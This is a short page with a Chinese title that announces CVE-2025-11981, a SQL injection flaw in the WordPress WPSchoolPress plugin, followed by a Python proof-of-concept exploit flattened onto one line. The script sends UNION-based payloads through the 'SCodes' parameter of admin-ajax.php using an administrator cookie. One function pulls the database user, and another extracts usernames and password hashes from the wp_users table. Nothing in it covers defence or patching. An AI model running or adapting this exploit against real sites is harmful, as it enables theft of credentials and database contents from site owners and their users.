CVE-2025-11981 WordPress WPSchoolPress插件SQL注入漏洞

import requests import sys from urllib.parse import urlencode # CVE-2025-11981 PoC - WPSchoolPress SQL Injection # Target: WordPress site with WPSchoolPress plugin <= 2.2.23 # Authentication required: Administrator or higher privilege def exploit_sql_injection(target_url, admin_cookie): """ Exploit SQL injection in WPSchoolPress SCodes parameter Args: target_url: Base URL of the WordPress site admin_cookie: Valid admin session cookie Returns: Extracted database information """ # Vulnerable endpoint endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Malicious payload to extract database user # The SCodes parameter is directly concatenated into SQL query payload = "1' UNION SELECT user()-- " headers = { 'Cookie': admin_cookie, 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } # Build the request data data = { 'action': 'wpsp_GetSCodes', # AJAX action name 'SCodes': payload } print(f"[*] Target: {target_url}") print(f"[*] Sending malicious request...") print(f"[*] Payload: {payload}") try: response = requests.post(endpoint, headers=headers, data=data, timeout=30) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[+] Response status: {response.status_code}") print(f"[+] Response preview: {response.text[:500]}") return response.text else: print(f"[-] Request failed with status: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def extract_users(target_url, admin_cookie): """ Extract WordPress users via SQL injection """ endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Payload to extract user_login and user_pass from wp_users table payload = "1' UNION SELECT CONCAT(user_login,':',user_pass) FROM wp_users-- " headers = { 'Cookie': admin_cookie, 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } data = { 'action': 'wpsp_GetSCodes', 'SCodes': payload } try: response = requests.post(endpoint, headers=headers, data=data, timeout=30) return response.text except: return None if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-11981.py <target_url> <admin_cookie>") print("Example: python cve-2025-11981.py http://example.com 'wordpress_logged_in_xxx='") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] print("=" * 60) print("CVE-2025-11981 - WPSchoolPress SQL Injection Exploit") print("=" * 60) exploit_sql_injection(target, cookie)